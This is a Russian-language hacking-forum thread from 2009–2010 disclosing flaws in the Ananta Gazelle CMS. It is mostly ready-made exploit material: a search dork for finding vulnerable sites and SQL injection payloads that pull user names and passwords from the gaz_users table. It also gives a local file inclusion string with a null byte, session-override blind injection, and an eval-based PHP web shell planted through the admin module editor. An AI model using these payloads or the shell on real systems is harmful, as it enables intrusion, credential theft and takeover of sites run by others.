ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Сценарии/CMF/СMS
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Уязвимости Ananta Gazelle
  #1  
Старый 22.04.2009, 19:07
Аватар для Dimi4
Dimi4
Reservists Of Antichat - Level 6
Регистрация: 19.03.2007
Сообщений: 953
Провел на форуме:
7617458

Репутация: 3965


Отправить сообщение для Dimi4 с помощью ICQ
По умолчанию Уязвимости Ananta Gazelle

Ananta Gazelle

Product : Ananta Gazelle
Dork : "CMS: Ananta Gazelle"
Site: http://www.anantasoft.com/
Found by: Dimi4
Date : 22.04.09

Пробегся быстренько по коду:
Довольна интересная скуль. Рассмотрим user.php

PHP код:
    $user $_GET["user"];
    
$q mysql_query("select name from ".$tableprefix."users");
    while (
$k mysql_fetch_array($qMYSQL_ASSOC)) {
        
$userlist[$k{'name'}] = 1;
    }
    foreach (
$userlist as $name => $value) {
        if (
$user == $name) {
            
$q mysql_query("select name, email, joindate, showemail from ".$tableprefix."users where name='".$user."'");
            while (
$k mysql_fetch_array($qMYSQL_ASSOC)) {
                
$content "<h3>User profile: ".$k{'name'}."</h3><div>
                    <p>Username: "
.$k{'name'}."</p>"
Что же делает наша цмска? А она чтобы обезопасится от скули берет всех юзеров с базы а потом чекает с гетом) Ну и ладненько. Посмотрев на register.php понимаем что никакой фильтрации там нет! Думаю вы поняли к чему я веду.
Регестрируемся на сайте как:
Код:
a' union select concat_ws(0x3a,name,pass),2,3,4+from+gaz_users --
А далее:
Код:
user.php?user=a' union select concat_ws(0x3a,name,pass),2,3,4+from+gaz_users --
Sql-inj:
forgot.php
PHP код:
    $users mysql_query("select name from ".$tableprefix."users where email='".$_POST["email"]."'");
        while (
$user mysql_fetch_array($usersMYSQL_ASSOC)) { 
Код:
POST: email=e' union select concat_ws(0x3a,name,pass),2,3,4,5,6,7,8,9+from+gaz_users --
Раскрытие пути: (Вызываем скрипт из папки /admin/)

http://localhost/Ananta_Gazelle1.0/admin/edituser.php


Sql-inj
remove.php

PHP код:
$modules mysql_query("select name, file from ".$tableprefix."modules where number='".$_POST["number"]."'");
            while (
$mod mysql_fetch_array($modulesMYSQL_ASSOC)) {
                
$name $mod{'name'}; 
Код:
POST: number=1' union select concat_ws(0x3a,name,pass),2,3,4,5+from+gaz_users --
Заливка шелла: Admin -> Create Module:
Name xek;
Code:
PHP код:
<?php if(get_magic_quotes_gpc()) { eval(stripslashes($_GET['ev'])); } else { eval($_GET['ev']); } ?>

Последний раз редактировалось Dimi4; 22.04.2009 в 19:21..
 
Ответить с цитированием

  #2  
Старый 09.05.2010, 22:35
Аватар для .:[melkiy]:.
.:[melkiy]:.
Постоянный
Регистрация: 25.01.2009
Сообщений: 368
Провел на форуме:
5290740

Репутация: 912
По умолчанию

Anantasoft Gazelle CMS 1.0


LFI
need: mq=off


file: index.php
PHP код:
$templatepath = include_once("modules/template.php"); // retrieve the correct template

......

include_once(
$templatepath."/index.php"); // add the template 
file:modules/template.php
PHP код:
if (isset($_GET) && isset($_GET["template"]) && $_GET["template"]) {
    if (
$admin == 1) {
        return 
"../templates/".$_GET["template"];            
    } else {
        return 
"templates/".$_GET["template"];
    } 
result:
Код:
GET /index.php?template=../../[local_file]%00

blind SQL-Injection
need: mq=off, rg=on

file: modules/login.php
PHP код:
if (isset($_SESSION["name"]) && $_SESSION["name"]) {
    
$users mysql_query("SELECT name FROM ".$tableprefix."users WHERE name='".$_SESSION["name"]."'");
    if (!
mysql_fetch_array($usersMYSQL_ASSOC)) {
        unset(
$_SESSION["name"]); // the user that somehow (2 website on same host using same session...) got logged in does not exist
    

result:
Код:
GET /index.php?_SESSION[name]=admin'+and+substring(version(),1,1)=5+--+

SQL-Injection
need: mq=off, rg=on

file:change.php
PHP код:
if (isset($_SESSION["name"]) && $_SESSION["name"]) {
    
$user $_SESSION["name"]; // get user name to auto fill-in current user data
}
$q mysql_query("select number, name, email, admin, active, showemail from ".$tableprefix."users where name='".$user."'"); 
result:
Код:
GET /change.php?_SESSION[name]=1'+union+select+1,version(),3,4,5,6+--+

Последний раз редактировалось .:[melkiy]:.; 09.05.2010 в 22:38..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Microsoft сменит Explorer на Gazelle tinyM Мировые новости 28 02.03.2009 02:58
Microsoft разрабатывает концептуальный браузер Gazelle WAR!9G Мировые новости 9 24.02.2009 13:22



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ